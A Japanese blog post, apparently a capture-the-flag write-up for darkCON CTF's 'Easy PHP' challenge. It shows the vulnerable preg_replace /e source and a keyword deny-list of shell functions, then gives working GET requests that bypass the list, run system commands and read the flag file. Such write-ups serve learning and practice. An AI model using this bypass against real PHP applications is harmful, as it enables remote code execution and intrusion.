はまやんはまやんはまやん

hamayanhamayan's blog

Easy PHP [darkCON CTF]

CTFtime.org / darkCON CTF

robots.txtを見てみると?lmaoとあるので、入れてみるとソースコードが出てくる。

<?php
require_once 'config.php';

$text = "Welcome DarkCON CTF !!";

if (isset($_GET['lmao'])) {
    highlight_file(__FILE__);
    exit;
}
else {
    $payload = $_GET['bruh'];
    if (isset($payload)) {
        if (is_payload_danger($payload)) {
            die("Amazing Goob JOb You :) ");
        }
        else {
            echo preg_replace($_GET['nic3'], $payload, $text);
        }
    }
    echo $text;
}
?>

preg_replace("/a/e", "system(‘id’);", "abc");を目指す。

色々試すと以下が成功した。 GET /?bruh=show_source("c"."onfig.php");&nic3=/a/e HTTP/1.1

<?php
function is_payload_danger($payload) {
        return preg_match('/exec|passthru|shell_exec|system|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|readfile|require|require_once|include|include_once|print|find|file|`|config|var_dump|dir/',$payload);
}
?>

GET /?bruh=%24_GET%5B%22__%22%5D(%24_GET%5B%22_%22%5D);&nic3=/a/e&__=system&_=ls これで任意コード実行ができるようになった。

config.php
flag210d9f88fd1db71b947fbdce22871b57.php
index.php
robots.txt

GET /?bruh=%24_GET%5B%22__%22%5D(%24_GET%5B%22_%22%5D);&nic3=/a/e&__=system&_=cat%20flag210d9f88fd1db71b947fbdce22871b57.php -> darkCON{w3lc0me_D4rkC0n_CTF_2O21_ggwp!!!!} YES!